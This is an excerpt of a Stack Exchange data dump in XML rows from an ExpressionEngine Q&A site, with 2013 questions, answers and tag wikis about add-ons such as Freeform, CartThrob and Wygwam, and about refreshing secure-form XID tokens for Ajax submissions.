  <row Id="12668" PostTypeId="2" ParentId="12667" CreationDate="2013-08-12T22:42:08.527" Score="1" Body="&lt;p&gt;Doesn't the {categories} tag pair work with search results?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can restrict the categories by group, or exclude some categories if you don't want them to show up. I use gwcode in some situations, but most of the time this tag pair takes care of things. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check the docs here:&#xA;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#variable-pairs&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#variable-pairs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="817" LastActivityDate="2013-08-12T22:42:08.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12669" PostTypeId="2" ParentId="12664" CreationDate="2013-08-12T22:51:37.507" Score="0" Body="&lt;p&gt;Did you change all the server paths? Assuming they differed between the servers.&lt;/p&gt;&#xA;" OwnerUserId="817" LastActivityDate="2013-08-12T22:51:37.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12670" PostTypeId="2" ParentId="12653" CreationDate="2013-08-12T23:15:43.037" Score="1" Body="&lt;p&gt;So you've got a image and a form to capture the content. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You'll need to overlay the form text on the image: &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-image&quot; rel=&quot;nofollow&quot;&gt;CE Image&lt;/a&gt; can help here&lt;/li&gt;&#xA;&lt;li&gt;A custom URL generator (like &lt;a href=&quot;http://www.solspace.com/software/detail/shortcut/&quot; rel=&quot;nofollow&quot;&gt;Solspace's Shortcut&lt;/a&gt;; there are others in &lt;a href=&quot;http://www.devot-ee.com&quot; rel=&quot;nofollow&quot;&gt;Devot-ee&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Solspace's &lt;a href=&quot;http://www.solspace.com/software/detail/freeform/&quot; rel=&quot;nofollow&quot;&gt;Freeform&lt;/a&gt; can capture the form data, including the recipient address for forwarding&lt;/li&gt;&#xA;&lt;li&gt;Mail notification can be done with a hidden form on the display page, triggered by something like Adam Kahn's &lt;a href=&quot;http://devot-ee.com/add-ons/send-email&quot; rel=&quot;nofollow&quot;&gt;Send Email&lt;/a&gt; or Mike Rog's &lt;a href=&quot;http://devot-ee.com/add-ons/email-from-template&quot; rel=&quot;nofollow&quot;&gt;Email from Template&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="175" LastActivityDate="2013-08-12T23:15:43.037" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12671" PostTypeId="1" CreationDate="2013-08-12T23:43:11.140" Score="1" ViewCount="522" Body="&lt;p&gt;I got a problem with “Export entries as CSV”&#xA;Few months ago, this one was working well. When I click it, I can get/download an excel file which contains all the entries.&#xA;Few days ago, I still could download excel file but it did not contains anything.&#xA;Now, I can download excel file but it shows something like ‘your storage is full’.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the database which stores the entries is full. But I asked the host guy and he said the database on my plan is unlimited. So my question is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an option to control the limitation for storage of database in expression engine (control panel) ?&lt;/p&gt;&#xA;" OwnerUserId="1882" LastActivityDate="2013-08-13T04:59:42.650" Title="Problem with “Export entries as CSV”" Tags="|solspace-freeform|entries|export|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12672" PostTypeId="2" ParentId="12671" CreationDate="2013-08-13T04:59:42.650" Score="1" Body="&lt;p&gt;It could be that your hosting accounts' file storage is full? Have you tired clearing ./system/expressionengine/cache/ ?&lt;/p&gt;&#xA;" OwnerDisplayName="user550" LastActivityDate="2013-08-13T04:59:42.650" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12673" PostTypeId="1" AcceptedAnswerId="12675" CreationDate="2013-08-13T07:55:44.207" Score="0" ViewCount="1101" Body="&lt;p&gt;As I discovered, it seems that &quot;Secure Forms&quot; setting won't allow anyone to submit more than once in Ajax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I researched about this and I found out that it was because you can't send a form with same XID twice. You need to reload the page to get a fresh XID to submit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this is a problem for Ajaxified forms, simply because of their essential nature and purpose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an elegant way to use Ajaxified forms inspite of the &quot;Secure Forms&quot; setting being turned on?&lt;/p&gt;&#xA;" OwnerUserId="636" LastEditorUserId="636" LastEditDate="2013-08-13T08:47:48.960" LastActivityDate="2013-12-14T00:50:22.363" Title="Secure Forms setting and Ajaxified Forms" Tags="|forms|ajax|xid|secureforms|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12675" PostTypeId="2" ParentId="12673" CreationDate="2013-08-13T09:44:28.960" Score="2" Body="&lt;p&gt;Yes, you need to get a new XID each time via Ajax and update your form hidden value, so next time the form is submitted it uses the new XID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depends what your Ajax is returning of course and where it's submitting to, but in the past on return from the Ajax submission, I've fired another function to just do an Ajax request, then do the replacements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example as part of the Ajax Submission function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;request = $.ajax({&#xA;    url: $form.attr(&quot;action&quot;),&#xA;    type: &quot;post&quot;,&#xA;    data: serializedData&#xA;});&#xA;&#xA;request.done(function (response, textStatus, jqXHR) {&#xA;    if (updateForm) {&#xA;        AjaxGet(window.location.href, updateHTML);&#xA;    }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then new functions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//###   Retreave content/pages via Ajax   ###&#xA;function AjaxGet(urlString, resultHandler) {&#xA;    if (urlString == undefined)&#xA;        return;&#xA;    if (request)&#xA;        request.abort();&#xA;&#xA;    request = $.ajax({&#xA;        url: urlString&#xA;    });&#xA;&#xA;    request.done(function (response, textStatus, jqXHR) {&#xA;        resultHandler(response);&#xA;    });&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then the capture:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var updateHTML = function (htmlString) {&#xA;    var XID = $(htmlString).find('form#yourID input[name=&quot;XID&quot;]').val();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-08-13T09:44:28.960" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12676" PostTypeId="1" AcceptedAnswerId="12725" CreationDate="2013-08-13T10:08:26.427" Score="2" ViewCount="199" Body="&lt;p&gt;I'm using the &lt;a href=&quot;https://github.com/iainurquhart/entry_widgets&quot; rel=&quot;nofollow&quot;&gt;Entry Widgets&lt;/a&gt; Add-on and as part of that I'm trying to create a new widget for it which contains a File FieldType. So I'm using the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/file_field.html&quot; rel=&quot;nofollow&quot;&gt;File Field Class&lt;/a&gt; which comes with EE to accomplish that, and it's outputting all the right html markup, but what it's not doing is adding the Javascript click event to the &lt;code&gt;Add File&lt;/code&gt; link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I understand it so far, this is not happening because each widget is loaded into the page using AJAX and so is loaded after all of the File Browser javascript is executed on DOM Ready. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess what I'm after is a straightforward way to either rerun the javascript so the events get added to my newly injected fields, or just recreate the click event itself. Or alternatively, if anyone know of a standalone way of getting the standard CP File browser working in my widget.&lt;/p&gt;&#xA;" OwnerUserId="27" LastActivityDate="2013-08-14T13:06:34.660" Title="File Field Class in a custom Add-on - Javascript click event not attaching" Tags="|control-panel|add-on-development|file-uploads|jquery|entry-widgets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12677" PostTypeId="5" CreationDate="2013-08-13T10:22:30.593" Score="0" Body="&lt;p&gt;An Add-on created to provide similar functionality to Wordpress style Widgets. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the Website:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Entry Widgets is a sideways port of Phil Sturgeon's recently open&#xA;  sourced Widget Module.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The fundamental difference between the Entry Widgets Module and the&#xA;  Widgets Module is as the name suggests - widgets are associated with&#xA;  regions within entries, rather than just regions.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;More information can be found on &lt;a href=&quot;https://github.com/iainurquhart/entry_widgets&quot; rel=&quot;nofollow&quot;&gt;Github&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="27" LastEditorUserId="27" LastEditDate="2013-08-13T12:23:31.940" LastActivityDate="2013-08-13T12:23:31.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12678" PostTypeId="4" CreationDate="2013-08-13T10:22:30.593" Score="0" Body="An Add-on created to provide similar functionality to Wordpress style Widgets. " OwnerUserId="27" LastEditorUserId="27" LastEditDate="2013-08-13T12:22:19.780" LastActivityDate="2013-08-13T12:22:19.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12679" PostTypeId="5" CreationDate="2013-08-13T10:29:56.640" Score="0" Body="&lt;p&gt;Pixel &amp;amp; Tonic provide &quot;some of the worlds most popular ExpressionEngine Add-ons&quot; and as such, don't need much of an introduction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Chances are you're already using one of their add-ons: &lt;a href=&quot;http://devot-ee.com/add-ons/matrix&quot; rel=&quot;nofollow&quot;&gt;Matrix&lt;/a&gt;, &lt;a href=&quot;http://devot-ee.com/add-ons/playa&quot; rel=&quot;nofollow&quot;&gt;Playa&lt;/a&gt;, &lt;a href=&quot;http://devot-ee.com/add-ons/assets&quot; rel=&quot;nofollow&quot;&gt;Assets&lt;/a&gt;, and &lt;a href=&quot;http://devot-ee.com/add-ons/wygwam&quot; rel=&quot;nofollow&quot;&gt;Wygwam&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="27" LastEditorUserId="55" LastEditDate="2013-08-13T12:23:20.237" LastActivityDate="2013-08-13T12:23:20.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12680" PostTypeId="4" CreationDate="2013-08-13T10:29:56.640" Score="0" Body="Pixel &amp; Tonic provide some of the worlds most popular ExpressionEngine Add-ons." OwnerUserId="27" LastEditorUserId="27" LastEditDate="2013-08-13T12:22:46.313" LastActivityDate="2013-08-13T12:22:46.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12681" PostTypeId="5" CreationDate="2013-08-13T10:35:59.137" Score="0" Body="&lt;p&gt;Microsoft's flagship Web Browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go get the &lt;a href=&quot;http://microsoft.com/internetexplorer/&quot; rel=&quot;nofollow&quot;&gt;latest version&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="27" LastEditorUserId="27" LastEditDate="2013-08-13T12:21:56.920" LastActivityDate="2013-08-13T12:21:56.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12682" PostTypeId="4" CreationDate="2013-08-13T10:35:59.137" Score="0" Body="Microsoft's flagship Web Browser." OwnerUserId="27" LastEditorUserId="27" LastEditDate="2013-08-13T12:23:34.630" LastActivityDate="2013-08-13T12:23:34.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12683" PostTypeId="5" CreationDate="2013-08-13T10:40:54.657" Score="0" Body="&lt;p&gt;From the website:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Do away with the native Snippets or Global Variables—Low Variables&#xA;  gives you both in a single interface and lets you do so, so much more.&#xA;  Want to group your variables? No problem. Want to choose which&#xA;  variables are parsed early and which ones are not? Check. Want to save&#xA;  your variables as files on the server? Yes, you can! Want to have&#xA;  control over who can edit the variables? You got it. Want to have&#xA;  different variable types, just like field types? It ships with 12&#xA;  variable types built in and there are several third party types&#xA;  available.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;More information can be found at &lt;a href=&quot;http://gotolow.com/addons/low-variables&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27" LastEditorUserId="27" LastEditDate="2013-08-13T12:23:28.210" LastActivityDate="2013-08-13T12:23:28.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12684" PostTypeId="4" CreationDate="2013-08-13T10:40:54.657" Score="0" Body="A commercial add-on providing an alternative to native Snippets and Global variables." OwnerUserId="27" LastEditorUserId="27" LastEditDate="2013-08-13T12:22:28.063" LastActivityDate="2013-08-13T12:22:28.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12685" PostTypeId="1" CreationDate="2013-08-13T11:06:22.357" Score="0" ViewCount="207" Body="&lt;p&gt;I'm working on a small CartThrob site at the moment. The site uses 'points' rather than real currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Products are stored in the &quot;products&quot; channel which contains a custom field for the points value of each product. There is also an options field to handle sizes/colours etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have elected to use the points field by default but if a product has options then the points field is left at 0 and the price for each option entered in the options field - I find this easier for the client to understand than have them entering price differences for options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I need to order the products by price from lowest to highest. This is simple enough where there are no options but is it possible to include those products with option pricing in this ordering?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the obvious entries tag;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot; dynamic=&quot;no&quot; orderby=&quot;price&quot; sort=&quot;asc&quot;}&#xA;... product stuff ...&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It would be lovely if I could do something like;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot; dynamic=&quot;no&quot; orderby=&quot;price|options:price&quot; sort=&quot;asc&quot;}&#xA;... product stuff ...&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm hoping I can weave the option products into this somehow without having to resort to setting a &quot;base price&quot; on each one and have the client enter price diffrences for each option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this?&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-08-13T19:37:08.100" Title="Ordering CartThrob products by price when some have options" Tags="|cartthrob|entries|sort|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12686" PostTypeId="1" CreationDate="2013-08-13T11:43:43.920" Score="2" ViewCount="90" Body="&lt;p&gt;Folks:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got a complicated setup where I can't use the standard Store shipping options. Instead, shipping options need to be stored as price modifiers. The only SKU that will be generated for a product is for these shipping options and they can only select one. For example, if they select Canada, the SKU is can. If they select France, the SKU is France.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, for Canada, tax needs to be applied so users have to go through an extra step. I would like to evaluate if the SKU is can. If yes, they are redirected to a new page where they select their province (taxes vary by province).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the life of me, I can't seem to get the eval working. The SKU is clearly there and changes if I change the country. I can even trace the SKU as can or france or whatever. But the if statement doesn't actually do anything. The code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {sku}==can}&#xA;    {redirect=&quot;store/step_1a&quot;}&#xA;{/if}&#xA;&#xA;{if {sku}!=can}&#xA;    {redirect=&quot;store/step_2&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is just one variation. I've tried with quotes and without. I've used NSM Transplant (&lt;a href=&quot;http://ee-garage.com/nsm-transplant&quot; rel=&quot;nofollow&quot;&gt;http://ee-garage.com/nsm-transplant&lt;/a&gt;) to isolate the SKU and use the results from that. Still no go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any assistance would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1880" LastEditorUserId="1880" LastEditDate="2013-08-13T13:29:38.860" LastActivityDate="2013-09-12T16:40:57.770" Title="Check Expresso Store SKU and redirect" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12687" PostTypeId="1" AcceptedAnswerId="12751" CreationDate="2013-08-13T12:53:18.857" Score="0" ViewCount="1825" Body="&lt;p&gt;SO I'm using Solsapce's User for usersto edit their profile and have discovered something I'm not sure how to describe or fix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a normal edit profile with a few fields, I have declared certain fields to be required, the syntax is identical to SAFE forms required=&quot;fielda|fieldb&quot; etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the form is submitted with all things filled in correctly, the ajax does its thing nicely, if one of the required fields is missing content, then I cannot get it to show anything meaningful.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $('.user-edit').ajaxForm({  &#xA;     target: '#confirmation',&#xA;     dataType: 'json', &#xA;     success: function(result) {&#xA;         $(&quot;#confirmation&quot;).html(&quot;&amp;lt;div class='success'&amp;gt;&quot; +result.content+&quot;&amp;lt;/div&amp;gt;&quot;);&#xA;         $(&quot;#confirmation&quot;).hide();&#xA;         $(&quot;#confirmation&quot;).fadeIn(500);&#xA;     },&#xA;&#xA;    error: function(jqxhr) {&#xA;        $(&quot;#confirmation&quot;).html(&quot;&amp;lt;div class='alert'&amp;gt;&quot; +jqxhr.responseText+&quot;&amp;lt;/div&amp;gt;&quot;);&#xA;        //$(&quot;#confirmation&quot;).html(&quot;&amp;lt;div class='alert'&amp;gt;&quot; +jqxhr.error+&quot;&amp;lt;/div&amp;gt;&quot;); //Gives strange Javascript error (see comment below)&#xA;        $(&quot;#confirmation&quot;).hide();&#xA;        $(&quot;#confirmation&quot;).fadeIn(500);&#xA;     }&#xA; });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's the kicker, Firebug shows this is the error response&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;error&quot;:&quot;&amp;lt;p&amp;gt;The following fields are required: &amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;Birthday&amp;lt;\/li&amp;gt;&amp;lt;\/ul&amp;gt;&amp;lt;\/p&amp;gt;&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is whats displayed on the page, it includes the &quot;error&quot; and brackets and everything!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;alert&quot;&amp;gt;{&quot;error&quot;:&quot;&amp;lt;p&amp;gt;The following fields are required: &amp;lt;/p&amp;gt;&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;Birthday&amp;amp;lt;\/li&amp;amp;gt;&amp;amp;lt;\/ul&amp;amp;gt;&amp;amp;lt;\/p&amp;amp;gt;&quot;}&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On a successful post, this is the Firebug response and as I'm targeting &quot;result.message&quot; it displays fine:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;success&quot;:true,&quot;heading&quot;:&quot;Successful Submission!&quot;,&quot;message&quot;:&quot;Your profile has been successfully updated&quot;,&quot;content&quot;:&quot;Your profile has been successfully updated&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried all manner of variations to get this ajax error displaying only the error content and am now doubtful that it ever will. Of course I could be a huge dumbass and missed something :)&lt;/p&gt;&#xA;" OwnerUserId="166" LastEditorUserId="166" LastEditDate="2013-08-13T14:16:58.067" LastActivityDate="2013-08-15T00:19:43.617" Title="Ajax submit errors contain html formatting" Tags="|error|ajax|solspace-user|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12688" PostTypeId="2" ParentId="12687" CreationDate="2013-08-13T13:38:40.640" Score="0" Body="&lt;p&gt;Looks like it's outputting the JSON object as a string because you've not specified the specific content to display.  If you look at the one that's working, you're getting back&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{ &quot;success&quot;:true,&#xA;  &quot;heading&quot;:&quot;Successful Submission!&quot;,&#xA;  &quot;message&quot;:&quot;Your profile has been successfully updated&quot;,&#xA;  &quot;content&quot;:&quot;Your profile has been successfully updated&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and you're calling it with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(&quot;#confirmation&quot;).html(&quot;&amp;lt;div class='success'&amp;gt;&quot; +result.content+&quot;&amp;lt;/div&amp;gt;&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(i.e. you're specifying you want the &lt;em&gt;content&lt;/em&gt; part of the object).  The error you're getting back seems to be OK, but is a JSON object, not an HTML entity, i.e. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;error&quot;:&quot;&amp;lt;p&amp;gt;The following fields are required: &amp;lt;/p&amp;gt;&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;Birthday&amp;amp;lt;\/li&amp;amp;gt;&amp;amp;lt;\/ul&amp;amp;gt;&amp;amp;lt;\/p&amp;amp;gt;&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you probably need to just reference it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(&quot;#confirmation&quot;).html(&quot;&amp;lt;div class='alert'&amp;gt;&quot; +jqxhr.error+&quot;&amp;lt;/div&amp;gt;&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="900" LastActivityDate="2013-08-13T13:38:40.640" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12689" PostTypeId="2" ParentId="12685" CreationDate="2013-08-13T13:43:29.143" Score="1" Body="&lt;p&gt;Here are some suggestions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Bite the bullet and use the pricing how CT intended. Have a base price field and use modifiers.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Keep the base price at 0, and use modifiers to show the total prices, like you want. But add a 'sorting price' or 'minimum' price purely for the purposes of ordering by price in your templates.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you decide to go with option 1, you can show the total prices rather than +20 by using the arithmetic tag.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot; orderby=&quot;base_price&quot;}&#xA;  &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;  &amp;lt;h2&amp;gt;Options&amp;lt;/h2&amp;gt;&#xA;  {product_options}&#xA;    &amp;lt;h3&amp;gt;{option_name}&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;b&amp;gt;Price:&amp;lt;/b&amp;gt; {exp:cartthrob:arithmetic operator=&quot;+&quot; num1=&quot;{base_price}&quot; num2=&quot;{price}&quot;}&amp;lt;/p&amp;gt;&#xA;  {/product_options}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-08-13T13:43:29.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12690" PostTypeId="1" AcceptedAnswerId="12694" CreationDate="2013-08-13T14:06:09.413" Score="0" ViewCount="73" Body="&lt;p&gt;I need to show all forms on one page dynamically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm doing this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form form_name=&quot;one-of-my-forms&quot;}&#xA;{freeform:all_form_fields}&#xA;    &amp;lt;label&amp;gt;{freeform:field_label}&amp;lt;/label&amp;gt;&#xA;    {freeform:field_output}&#xA;{/freeform:all_form_fields}&#xA;&amp;lt;p&amp;gt;{freeform:submit}&amp;lt;/p&amp;gt;&#xA;{/exp:freeform:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But as you can see, I've specified a form_name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get ALL forms without knowing how many there are..?&lt;/p&gt;&#xA;" OwnerUserId="1886" LastActivityDate="2013-08-13T14:54:23.113" Title="Showing all forms" Tags="|forms|solspace-freeform|solspace|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12691" PostTypeId="2" ParentId="10108" CreationDate="2013-08-13T14:18:07.457" Score="1" Body="&lt;p&gt;Late reply, but I suspect the best way to do this may be to pass sibling id's using {exp:playa:sibling_ids} ( &lt;a href=&quot;http://docs.pixelandtonic.com/playa/templating/module/sibling_ids.html&quot; rel=&quot;nofollow&quot;&gt;http://docs.pixelandtonic.com/playa/templating/module/sibling_ids.html&lt;/a&gt; ) to the native EE next / previous entry tags - {exp:channel:next_entry} and {exp:channel:prev_entry} ( &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/entry_linking.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/entry_linking.html&lt;/a&gt; ).&lt;/p&gt;&#xA;" OwnerUserId="364" LastActivityDate="2013-08-13T14:18:07.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12692" PostTypeId="1" CreationDate="2013-08-13T14:21:00.280" Score="1" ViewCount="113" Body="&lt;p&gt;Is there a way to only show certain member groups in the Author dropdown per channel?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know you can prevent a member group from being displayed in there using the Member Group settings. However, I need them to be available in some channels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using CartThrob, and I have a 'Members' group.&lt;br&gt;&#xA;'Members' are the 'authors' of their associated order entries. So, the 'members' group needs to be visible in the authors dropdown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However in my blog, I don't want a mile long author dropdown. I just want to be able to select members from the 'Bloggers' member group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I prevent the 'Members' group from being displayed in the dropdown, when I hit submit on a member-authored order entry, I get an invalid member error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any suggestions for doing something like this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-08-13T14:21:00.280" Title="Author dropdown" Tags="|author|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12693" PostTypeId="1" AcceptedAnswerId="12732" CreationDate="2013-08-13T14:50:45.370" Score="1" ViewCount="261" Body="&lt;p&gt;I was trying to find confirmation about whether the Browse Server button in the Image and File Upload functionality in Wygwam could be used in Safecracker. Currently the windows pop open fine, but the Browse Server button is not visible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only reference I could find was &lt;a href=&quot;http://ellislab.com/forums/viewthread/223476/&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/forums/viewthread/223476/&lt;/a&gt; which suggested switching to Ckfinder for the File Manager, which I tried and then wasn't able to see the Browse Server button on the frontend or the backend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get an error Uncaught TypeError: Cannot read property 'length' of null that seems unrelated, because it occurs regardless of whether the Browse Server button appears or not. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any help!&lt;/p&gt;&#xA;" OwnerUserId="1887" LastActivityDate="2013-08-14T15:12:08.817" Title="File and Image Upload in a Wygwam field in a Safecracker Form" Tags="|safecracker|wygwam|pixelandtonic|file-uploads|image|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
